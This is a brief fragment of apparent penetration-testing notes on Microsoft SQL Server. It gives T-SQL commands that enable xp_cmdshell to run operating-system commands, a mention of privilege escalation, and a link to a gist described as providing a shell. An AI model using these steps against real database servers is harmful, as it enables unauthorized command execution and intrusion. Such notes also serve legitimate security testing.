It can either exploit a vulnerability or leverage credentials to gain access.
Enable command execution:
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
exec SP_CONFIGURE 'xp_cmdshell',1;
RECONFIGURE;
EXEC xp_cmdshell [cmd]
It can help to gain a higher permission access level.
# Same as gain access
https://gist.github.com/unkn0wnsyst3m/6bcfacc3699dbac67e2f080b00b7b77b <-- this sript gives you a fake shell with command execution